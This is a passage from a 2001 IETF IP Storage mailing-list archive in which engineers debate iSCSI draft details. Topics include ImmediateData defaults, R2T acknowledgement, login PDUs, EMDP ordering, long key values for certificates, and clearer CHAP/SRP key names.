ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8J5OdP26436 for ; Wed, 19 Sep 2001 01:24:43 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id HAA42656 for ; Wed, 19 Sep 2001 07:24:32 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8J5OQp253482 for ; Wed, 19 Sep 2001 07:24:31 +0200 Importance: Normal Subject: Re: ImmediateData Text Parameter Negotiation To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 19 Sep 2001 08:23:33 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 19/09/2001 08:24:30 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I'll fix them. Julo "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" on 18-09-2001 19:04:39 Please respond to "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: ips@ece.cmu.edu, Julian Satran/Haifa/IBM@IBMIL cc: Subject: ImmediateData Text Parameter Negotiation Julian, Appendix D24 (ImmediateData) does not describe the result of negotiation if the two sides differ. I presume that since the default is "yes", then only if both sides agree to "no" is immediate data turned off. Please can this be stated. Additionally, I feel that the default value for ImmediateData should be "no". Similarly, there is no statement on MaxOutstandingR2T. Presumable the minimum is selected. Matthew Burbridge Senior Development Engineer NIS-Bristol Hewlett Packard Telnet: 312 7010 E-mail: matthewb@bri.hp.com From owner-ips@ece.cmu.edu Wed Sep 19 03:18:05 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA25936 for ; Wed, 19 Sep 2001 03:18:01 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8J6AJW28451 for ips-outgoing; Wed, 19 Sep 2001 02:10:19 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8J6A9P28422 for ; Wed, 19 Sep 2001 02:10:18 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id IAA173346 for ; Wed, 19 Sep 2001 08:09:59 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8J69wP291022 for ; Wed, 19 Sep 2001 08:09:58 +0200 Importance: Normal Subject: Re: iSCSI: SNACK R2T/Data To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 19 Sep 2001 08:27:49 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 19/09/2001 09:09:58 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk There is no ACK mechanism. The group wisdom was that there is no need for one. Incoming data and R2Ts are not acked (a mechanism that did that existed and was based on NOP-Out). Julo Michael Schoberg on 18-09-2001 19:09:51 Please respond to Michael Schoberg To: "'ips@ece.cmu.edu'" , Julian Satran/Haifa/IBM@IBMIL cc: Subject: iSCSI: SNACK R2T/Data Old subject, but I couldn't find any discussion on this: When does the target know it no longer needs to hold R2T & Data PDUs? StatSN responses are acknowledged through the ExpStatSN field received in future I->T requests. What's the acknowledgement method for R2T & Data PDUs? Is it tied to the original request and acknowledged through the ExpStatSN acknowledgment of the request's response? Thanks. From owner-ips@ece.cmu.edu Wed Sep 19 04:10:56 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA26558 for ; Wed, 19 Sep 2001 04:10:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8J6ADn28433 for ips-outgoing; Wed, 19 Sep 2001 02:10:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8J6ABP28428 for ; Wed, 19 Sep 2001 02:10:11 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id IAA89694 for ; Wed, 19 Sep 2001 08:10:00 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8J69xp106064 for ; Wed, 19 Sep 2001 08:09:59 +0200 Importance: Normal Subject: Re: Immediate Logins To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 19 Sep 2001 08:32:37 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 19/09/2001 09:09:59 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk OK - Julo "Ken Sandars" on 18-09-2001 19:39:37 Please respond to "Ken Sandars" To: Julian Satran/Haifa/IBM@IBMIL, cc: Subject: Immediate Logins Hi Julian, I cannot see any reason to special-case the first LOGIN command of a session to be non-immediate. From the target's perpective, there is no session state in existence for that initial LOGIN, so there isn't even a CmdSN-based session queue to put it on! If the spec mandated this initial LOGIN to be immediate it can be executed without needing to handle the specific case of a sequenced command when there is no session to sequence it on. I recommend that all LOGIN phase pdus be immediate. Please. Thanks, Ken Sandars ksandars@eurologic.com Eurologic Systems +44 117 930 9616 From owner-ips@ece.cmu.edu Wed Sep 19 11:57:43 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA04819 for ; Wed, 19 Sep 2001 11:57:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JEPXU03034 for ips-outgoing; Wed, 19 Sep 2001 10:25:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JEPVP03030 for ; Wed, 19 Sep 2001 10:25:31 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id D228B2AD; Wed, 19 Sep 2001 16:25:56 +0200 (METDST) Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id PAA05819; Wed, 19 Sep 2001 15:25:18 +0100 (BST) Received: from 15.145.8.186 by fowey.BR.ITC.HP.COM (InterScan E-Mail VirusWall NT); Wed, 19 Sep 2001 15:24:14 +0100 (GMT Daylight Time) Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Sep 2001 15:24:14 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A8FA@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iSCSI: SNACK R2T/Data Date: Wed, 19 Sep 2001 15:25:16 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I am very much in favour of having a positive ACK mechanism to control buffer resources at the target. If there is a very large transfer (e.g. 1 Mb) then the sender can release buffer space once it knows that the receiver has received the data. It is worth pointing out that this mechanism is for buffer control and is not for flow control which, as we all know, is handled by TCP. Cheers Matthew Burbridge Senior Development Engineer NIS-Bristol Hewlett Packard Telnet: 312 7010 E-mail: matthewb@bri.hp.com -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, September 19, 2001 6:28 AM To: ips@ece.cmu.edu Subject: Re: iSCSI: SNACK R2T/Data There is no ACK mechanism. The group wisdom was that there is no need for one. Incoming data and R2Ts are not acked (a mechanism that did that existed and was based on NOP-Out). Julo Michael Schoberg on 18-09-2001 19:09:51 Please respond to Michael Schoberg To: "'ips@ece.cmu.edu'" , Julian Satran/Haifa/IBM@IBMIL cc: Subject: iSCSI: SNACK R2T/Data Old subject, but I couldn't find any discussion on this: When does the target know it no longer needs to hold R2T & Data PDUs? StatSN responses are acknowledged through the ExpStatSN field received in future I->T requests. What's the acknowledgement method for R2T & Data PDUs? Is it tied to the original request and acknowledged through the ExpStatSN acknowledgment of the request's response? Thanks. From owner-ips@ece.cmu.edu Wed Sep 19 12:04:19 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA05109 for ; Wed, 19 Sep 2001 12:04:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JDn9500325 for ips-outgoing; Wed, 19 Sep 2001 09:49:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JDmxP00314 for ; Wed, 19 Sep 2001 09:48:59 -0400 (EDT) Received: from SANJEEV ([169.254.1.5]) by zoetermeer.tripace.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id T157W8QR; Wed, 19 Sep 2001 15:50:13 +0200 Message-ID: <003b01c14112$e5229470$0501fea9@SANJEEV> From: "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" To: "Robert Snively" , , , "IPS Refelctor" References: Subject: Re: iSCSI:SCSI Mode Pages Date: Wed, 19 Sep 2001 15:56:28 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I agree with Bob.So basically you would like to say that option no. 2 referred by me was correct. The data is stored in external buffers only and not trasnferred to the SCSI LU untill the buffer is full with ordered data. But now my question comes whether the iSCSI target will have a common externa buffer and it will allocate a part of buffer for each SCSI LU inside or is the every SCSI LU going to maintain its own buffers. Is it also possible for 2 different SCSI LUs to negotiate EMDP bit 0 and 1 Sincerely, Sanjeev Bhagat Tripace Europe Tel # +31 (79) 361 2444 Mob# +31 6 24685051 Please, do visit our web site for more info: http://www.tripace.com/ SCSI Chip Set(s), SCSI Host Adapters, SCSI Software Drivers to various Operating Systems SCSI, USB 2.0 & ATAPI/ATA Interconnectivity Chip Solutions C R E A T O R S O F D A T A M O V I N G W O R L D S This e-mail is confidential and may contain legally privileged information. You should not disclose its contents to any other person. If you are not the intended recipient, please notify the sender above mentioned immediately. ----- Original Message ----- From: "Robert Snively" To: ; Sent: Wednesday, September 19, 2001 2:00 AM Subject: RE: iSCSI:SCSI Mode Pages > * From the T10 Reflector (t10@t10.org), posted by: > * Robert Snively > * > Note that in either case questioned by Sanjeev, it is the > TARGET, NOT the INITIATOR, that decides in what order the > tranfers will be performed. > > In the case of a READ, EMDP = 1 allows non-contiguous setting > of the Buffer Offset parameter. > > In the case of a WRITE, EMDP = 1 allows non-contiguous setting > of the R2T Buffer Offset parameter. > > The target will never do such things unless it has > committed to the proper manipulation of the data by allowing > the EMDP bit to be set to a value other than 0. > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > > > -----Original Message----- > > From: Gerry.Houlder@seagate.com [mailto:Gerry.Houlder@seagate.com] > > Sent: Tuesday, September 18, 2001 3:25 PM > > To: t10@t10.org > > Subject: Re: iSCSI:SCSI Mode Pages > > > > > > * From the T10 Reflector (t10@t10.org), posted by: > > * Gerry.Houlder@seagate.com > > * > > > > The bit is intended to allow targets to send Modify Data > > pointer messages, > > which is the only mechanism to allow transmitting data out of > > order. Data > > that is not in order is required to be preceded with this > > message, which > > contains an offset to the data pointer to indicate where in > > the data stream > > the chunk of data belongs. This feature is considered a pain > > to implement > > and ususally isn't supported on most devices anyway. > > > > If you still think you want to try this out, generally the > > Logical Unit is > > required to buffer the data and rearrange it as needed (it > > may not need to > > rearrange the data, it will probably rearrange the transfer > > to/from media > > activity to get it organized right). > > > > > > > > > > > > "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" > > @t10.org on 09/18/2001 01:30:03 PM > > > > Sent by: owner-t10@t10.org > > > > > > To: "IPS Refelctor" , "T10 Reflector" > > cc: > > > > Subject: iSCSI:SCSI Mode Pages > > > > > > * From the T10 Reflector (t10@t10.org), posted by: > > * "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" > > > > * > > I have a query regarding section 3.1.2 EMDP mode parameter. > > Current text > > says > > > > 3.1.2 E - Enable Modify Data Pointers Bit (EMDP) > > > > > > ...... > > > > If EMDP is set to 1, Data PDU sequences may be transferred in > > any order. If > > EMDP is set to 0, Data PDU sequences MUST be transferred > > using continuously > > increasing offsets. > > > > > > Does this line mean that if EMDP=1 the out of order received > > data PDUs by > > the iSCSI target be transferred directly to the actual SCSI > > LU (say a HDD) > > > > or > > > > does it mean that the if EMDP=1 the out of order received data PDUs be > > stored in some external buffer provided by SCSI LU and > > re-assembled and > > ordered there before transferring it into the SCSI LU. > > > > Regards, > > > > Sanjeev > > > > > > * > > * For T10 Reflector information, send a message with > > * 'info t10' (no quotes) in the message body to majordomo@t10.org > > > > > > > > * > > * For T10 Reflector information, send a message with > > * 'info t10' (no quotes) in the message body to majordomo@t10.org > > > * > * For T10 Reflector information, send a message with > * 'info t10' (no quotes) in the message body to majordomo@t10.org > From owner-ips@ece.cmu.edu Wed Sep 19 12:56:15 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06393 for ; Wed, 19 Sep 2001 12:56:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JF6iP05948 for ips-outgoing; Wed, 19 Sep 2001 11:06:44 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ganymede.or.intel.com (jffdns01.or.intel.com [134.134.248.3]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JF6gP05944 for ; Wed, 19 Sep 2001 11:06:42 -0400 (EDT) Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by ganymede.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.42 2001/09/04 16:24:19 root Exp $) with SMTP id PAA04838 for ; Wed, 19 Sep 2001 15:06:32 GMT Received: from orsmsx26.jf.intel.com ([192.168.65.26]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.1.6) with SMTP id M2001091908070321981 ; Wed, 19 Sep 2001 08:07:03 -0700 Received: by orsmsx26.jf.intel.com with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Sep 2001 08:06:32 -0700 Message-ID: <638EC1B28663D211AC3E00A0C96B78A8086ABBC6@orsmsx40.jf.intel.com> From: "Wheat, Stephen R" To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iSCSI - long key values Date: Wed, 19 Sep 2001 08:06:25 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, Maybe I'm missing something, but I think the new "value extension" discussion is around how to send very long "values" in a list of key=value pairs. IF we may have key=value pairs arbitrarily span PDUs, then the sending of a long value is done simply by sending one text response PDU after another, some may have nothing but a 4KB "value" component of a key=value pair. The concatenation of the individual "value" components is then done on the Initiator side, through the process of concatenating the text responses (in order, of course). So, am I missing something here? Stephen -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Tuesday, September 18, 2001 9:31 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - long key values Stephen, It is still on the "to consider list". How would that affect the individula value "extension" that we are considering now? Julo "Wheat, Stephen R" on 18-09-2001 17:57:36 Please respond to "Wheat, Stephen R" To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI - long key values Julian, Almost a month ago, we had a thread on values spanning PDU boundaries. See: "Re: Target record not to span PDUs?" Anyway, that thread discussion ended without conclusion. I believe Robert Snively's and my proposal to allow records to span PDUs is still valid; I'll let Robert speak for himself. Furthermore, I believe that the proposal would thus avoid this problem you are now addressing, with far less complexity. Please reconsider this proposal. Stephen -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Monday, September 17, 2001 11:26 PM To: ips@ece.cmu.edu Subject: iSCSI - long key values Dear colleagues, Ofer brought recently to my attention that some security key values are likely to exceed our stated limit of 255 bytes for a value. A good example may be a certificate (or chained certificate). We have to enable those to be in the Login phase. To handle this we might want to consider the following options (but not only those): enable a "long hexadecimal coding" that should indicate a "long" value (e.g. use 0L instead of 0x) and raise the limit for those keys to something longer (say 3072 bytes?) enable "concatenated" values and indicate them through a "coding scheme" as follows: the value "0sxx" indicates a name suffix (as in "key = 0s08" means that the keys "key00" , "key01" etc) have to be concatenated use the "suffixed keys" to "build the value" use a named key coding (as in "0Nname" in a value means that you have to use later get=value to get a "binary response" containing the whole binary object) I think that option 2 (limited to a 3 digit prefix?) covers well what we need and offers some extension space and option 1 is probably good enough for certificates. Comments? Julo From owner-ips@ece.cmu.edu Wed Sep 19 14:51:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA08793 for ; Wed, 19 Sep 2001 14:51:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JHAoA14821 for ips-outgoing; Wed, 19 Sep 2001 13:10:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas1.cos.agilent.com (msgbas1x.cos.agilent.com [192.25.240.36]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JHAnP14817 for ; Wed, 19 Sep 2001 13:10:49 -0400 (EDT) Received: from msgrel1.cos.agilent.com (msgrel1.cos.agilent.com [130.29.152.77]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id 553A82C84 for ; Wed, 19 Sep 2001 11:10:44 -0600 (MDT) Received: from acropora.rose.agilent.com (acropora.rose.agilent.com [130.30.179.5]) by msgrel1.cos.agilent.com (Postfix) with ESMTP id EA95B38B for ; Wed, 19 Sep 2001 11:10:43 -0600 (MDT) Received: (from dbs@localhost) by acropora.rose.agilent.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.1.0) id KAA17814 for ips@ece.cmu.edu; Wed, 19 Sep 2001 10:09:46 -0700 (PDT) From: Dave Sheehy Message-Id: <200109191709.KAA17814@acropora.rose.agilent.com> Subject: Re: ImmediateData Text Parameter Negotiation To: ips@ece.cmu.edu (IETF IP SAN Reflector) Date: Wed, 19 Sep 2001 10:09:45 PDT X-Mailer: Elm [revision: 212.4] Sender: owner-ips@ece.cmu.edu Precedence: bulk > Appendix D24 (ImmediateData) does not describe the result of negotiation if > the two sides differ. I presume that since the default is "yes", then only > if both sides agree to "no" is immediate data turned off. Please can this > be stated. I think that if either side says "no" then it's turned off. If one side doesn't support immediate data and says "no" no amount of cajoling (saying "yes") from the other side is going to change that. > Additionally, I feel that the default value for ImmediateData should be > "no". This comes down to what do we think the most common default behavior is going to be. So far IIRC, the only person who has explicitly stated that immediate data support will be the common default behavior has been John Hufferd. I'd like to hear the opinions of the rest of the list. Dave Sheehy From owner-ips@ece.cmu.edu Wed Sep 19 14:53:28 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA08851 for ; Wed, 19 Sep 2001 14:53:26 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JHCu315020 for ips-outgoing; Wed, 19 Sep 2001 13:12:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JHCqP15015 for ; Wed, 19 Sep 2001 13:12:52 -0400 (EDT) Received: from xparelay1.corp.hp.com (unknown [15.58.136.173]) by palrel1.hp.com (Postfix) with ESMTP id 1AA8F7D5; Wed, 19 Sep 2001 10:12:48 -0700 (PDT) Received: from xpabh4.corp.hp.com (xpabh4.corp.hp.com [15.58.136.1]) by xparelay1.corp.hp.com (Postfix) with ESMTP id 0B6241F5E7; Wed, 19 Sep 2001 10:12:46 -0700 (PDT) Received: by xpabh4.corp.hp.com with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Sep 2001 10:12:45 -0700 Message-ID: <499DC368E25AD411B3F100902740AD6507779045@xrose03.rose.hp.com> From: "CONGDON,PAUL (HP-Roseville,ex1)" To: "'John Hufferd'" , Julian Satran , Ofer_Biran/Haifa/IBM%IBMUS , mbakke@cisco.com, jtseng@NishanSystems.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication Date: Wed, 19 Sep 2001 10:12:37 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I agree that more clarification regarding how to associate SCSI Names with user identities should be provided. I'm not sure if I agree that it should be possible to omit the names entirely - however. This would provide another optional way to approach the exchange (may provide or may not) which adds complexity to this portion of the code, more test cases, more unnecessary options, etc.. As you've mentioned it may also be different depending upon the authentication method in use. There is certainly room for improvement here. I have a bit of a gripe about the key=value pairs during authentication phase in general. First of all, the key names are not very descriptive, which defeats the purpose of using Text keys in the first place (in my opinion). Secondly and more importantly, there are key values that are not unique and depend upon what authentication method is in progress in order to decode/parse them. For example, A=5 in CHAP for algorithm selection is completely different that A=2345 in SRP. Also N=initiatorName in CHAP is totally different than N=5678 in SRP. It would be much easier if the text command parser didn't have to consider what authentication method was running and that all key values were unique. Thus I propose making the following name changes to CHAP and SRP key values. I'm not too concerned about the exact key names used, just that they are somewhat descriptive and unique. CHAP Key Values Old New --- -------- A ChapAlgorithm I ChapID N ChapUser C ChapChallenge R ChapResponse SRP Key Values Old New --- --- U SrpUser N SrpSafePrime g SrpGenerator s SrpSalt A SrpPubKeyA B SrpPubKeyB M SrpSessionKey HM SrpKeyProof Paul +------------------------------------------+ Paul Congdon HP ProCurve Networking Hewlett Packard Company 8000 Foothills Blvd - M/S 5662 Roseville, CA 95747 phone: 916-785-5753 email: paul_congdon@hp.com +------------------------------------------+ -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Tuesday, September 18, 2001 6:22 PM To: Julian Satran; Ofer_Biran/Haifa/IBM%IBMUS; mbakke@cisco.com; jtseng@NishanSystems.com Cc: ips@ece.cmu.edu Subject: iSCSI: U= in Authentication Folks, I think we should indicate in the Security section of the document how the security Authentication process might validate that the iSCSI Initiator Name sent in the Initial Login, has something approprate to do with the "user" being authenticated. (Otherwise, you could authenticate a user and that user could claim/use any iSCSI Initiator Name in the InitiatorName key=value pair. It is kind of obvious how to relate the U= to the approprate iSCSI Initiator Name (in the case of SRP), and little less obvious with Chap, though I think it would be the N= parameter. However, it is really not obvious when using Kerberos, and SPKM. It also should be possible for the initiator not to send another UserID, if the Security Data Base the customer uses can support the iSCSI Initiator Name as a UserID. That is, it should be possible for the U= parameter not to be sent,and have that imply the value of is the iSCSI Initiator Node Name entered previously as a value in the InitiaorName key=value pair. Same way with the N= in Chap. However, it is not clear, how you do similar things with Kerberos, and SPKM. What do you folks think about this, and how should we document it? . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Wed Sep 19 16:20:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA10214 for ; Wed, 19 Sep 2001 16:20:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JHxuv18440 for ips-outgoing; Wed, 19 Sep 2001 13:59:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f8JHxeP18421 for ; Wed, 19 Sep 2001 13:59:40 -0400 (EDT) Received: from grubby.research.bell-labs.com ([135.104.2.9]) by dirty; Wed Sep 19 13:59:18 EDT 2001 Received: from aura.research.bell-labs.com ([135.104.46.10]) by grubby; Wed Sep 19 13:59:34 EDT 2001 Received: (from sandeepj@localhost) by aura.research.bell-labs.com (8.9.1/8.9.1) id NAA03701 for ips@ece.cmu.edu; Wed, 19 Sep 2001 13:58:54 -0400 (EDT) Date: Wed, 19 Sep 2001 13:58:54 -0400 (EDT) Message-Id: <200109191758.NAA03701@aura.research.bell-labs.com> From: sandeepj@research.bell-labs.com (Sandeep Joshi) To: ips@ece.cmu.edu Subject: Re: ImmediateData Text Parameter Negotiation Sender: owner-ips@ece.cmu.edu Precedence: bulk I'd prefer "yes" as the default. Targets with memory constraints should limit the maxCmdSN they advertise (allow only one cmd in the worst case.. ) What are the other reasons why "no" would be preferred ? -Sandeep > > Additionally, I feel that the default value for ImmediateData should be > > "no". > > This comes down to what do we think the most common default behavior is > going to be. So far IIRC, the only person who has explicitly stated that > immediate data support will be the common default behavior has been John > Hufferd. I'd like to hear the opinions of the rest of the list. > > Dave Sheehy From owner-ips@ece.cmu.edu Wed Sep 19 18:41:49 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA12004 for ; Wed, 19 Sep 2001 18:41:49 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8JL9Ut01759 for ips-outgoing; Wed, 19 Sep 2001 17:09:30 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from hebe.or.intel.com (jffdns02.or.intel.com [134.134.248.4]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8JL9PP01749 for ; Wed, 19 Sep 2001 17:09:25 -0400 (EDT) Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by hebe.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.42 2001/09/04 16:24:19 root Exp $) with SMTP id VAA23633 for ; Wed, 19 Sep 2001 21:09:15 GMT Received: from orsmsx26.jf.intel.com ([192.168.65.26]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.1.6) with SMTP id M2001091914094730354 ; Wed, 19 Sep 2001 14:09:47 -0700 Received: by orsmsx26.jf.intel.com with Internet Mail Service (5.5.2653.19) id ; Wed, 19 Sep 2001 14:09:15 -0700 Message-ID: <638EC1B28663D211AC3E00A0C96B78A8086ABBD7@orsmsx40.jf.intel.com> From: "Wheat, Stephen R" To: "'deva@stargateip.com'" , ips@ece.cmu.edu Subject: RE: iSCSI - long key values Date: Wed, 19 Sep 2001 14:09:11 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I don't know if like that idea or not. But, if we did want to do this, then I propose a syntax variation so as to indicate when the length field would be there and when it would not. Something akin to: key=value[,value]* or key>=length,value[,value]* ^---- pick some character not allowed in a "key" name. Stephen -----Original Message----- From: Dev [mailto:deva@stargateip.com] Sent: Wednesday, September 19, 2001 12:26 PM To: Wheat, Stephen R; 'Julian Satran'; ips@ece.cmu.edu Subject: RE: iSCSI - long key values If a value could span mutliple PDUs (a jumbo string, if you want these strings to be called so..) then it will be helpful to have the value length as below key = length, "value" Thanks Deva Adaptec -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Wheat, Stephen R Sent: Wednesday, September 19, 2001 8:06 AM To: 'Julian Satran'; ips@ece.cmu.edu Subject: RE: iSCSI - long key values Julian, Maybe I'm missing something, but I think the new "value extension" discussion is around how to send very long "values" in a list of key=value 